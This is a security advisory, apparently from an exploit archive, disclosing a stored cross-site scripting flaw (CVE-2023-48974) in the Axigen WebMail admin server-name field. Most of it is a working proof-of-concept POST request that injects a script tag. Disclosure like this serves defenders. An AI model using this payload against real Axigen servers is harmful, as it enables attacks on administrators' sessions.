Axigen < 10.5.7 - Persistent Cross-Site Scripting
# Exploit Title: Axigen < 10.5.7 - Persistent Cross-Site Scripting # Date: 2023-09-25 # Exploit Author: Vinnie McRae - RedTeamer IT Security # Vendor Homepage: https://www.axigen.com/ # Software Link: https://www.axigen.com/mail-server/download/ # Version: (10.5.7) and older version of Axigen WebMail # Tested on: firefox, chrome # CVE: CVE-2023-48974 Description The `serverName_input` parameter is vulnerable to stored cross-site scripting (XSS) due to unsanitized or unfiltered processing. This means that an attacker can inject malicious code into this parameter, which will then be executed by other users when they view the page where the parameter is used. This is affecting authenticated administrators, and the attack can be used to attack other administrators with more permissions. Exploitation 1. Login as administrator 2. Navigate to "global settings" 3. Change server name to <script>alert(1)</script> PoC of the POST request: ``` POST /?_h=1bb40e85937506a7186a125bd8c5d7ef&page=gl_set HTTP/1.1 Host: localhost:9443 Cookie: eula=true; WMSessionObject=%7B%22accountFilter%22%3A%22%22%2C%22currentDomainName%22%3A%22axigen%22%2C%22currentPrincipal%22%3A%22nada%22%2C%22domainFilter%22%3A%22%22%2C%22folderRecipientFilter%22%3A%22%22%2C%22groupFilter%22%3A%22%22%2C%22helpContainer%22%3A%22opened%22%2C%22leftMenu%22%3A%5B%22rights%22%2C%22services%22%2C%22clustering%22%2C%22domains%22%2C%22logging%22%2C%22backup%22%2C%22security%22%5D%2C%22mlistFilter%22%3A%22%22%2C%22premiumFilter%22%3A%22%22%2C%22sslCertificateFilter%22%3A%22%22%7D; webadminIsModified=false; webadminIsUpdated=true; webadminIsSaved=true; public_language=en; _hadmin=6a8ed241fe53d1b28f090146e4c65f52; menuLeftTopPosition=-754 Content-Type: multipart/form-data; boundary=---------------------------41639384187581032291088896642 Content-Length: 12401 Connection: close -----------------------------41639384187581032291088896642 Content-Disposition: form-data; name="serverName_input" <script>alert(1)</script> -----------------------------41639384187581032291088896642 Content-Disposition: form-data; name="primary_domain_input" axigen -----------------------------41639384187581032291088896642 Content-Disposition: form-data; name="ssl_random_file_input" --SNIP-- -----------------------------41639384187581032291088896642 Content-Disposition: form-data; name="update" Save Configuration -----------------------------41639384187581032291088896642-- ``` #______________________________ #Vinnie McRae #RedTeamer IT Security #Blog: redteamer.de/blog-beitrag/ |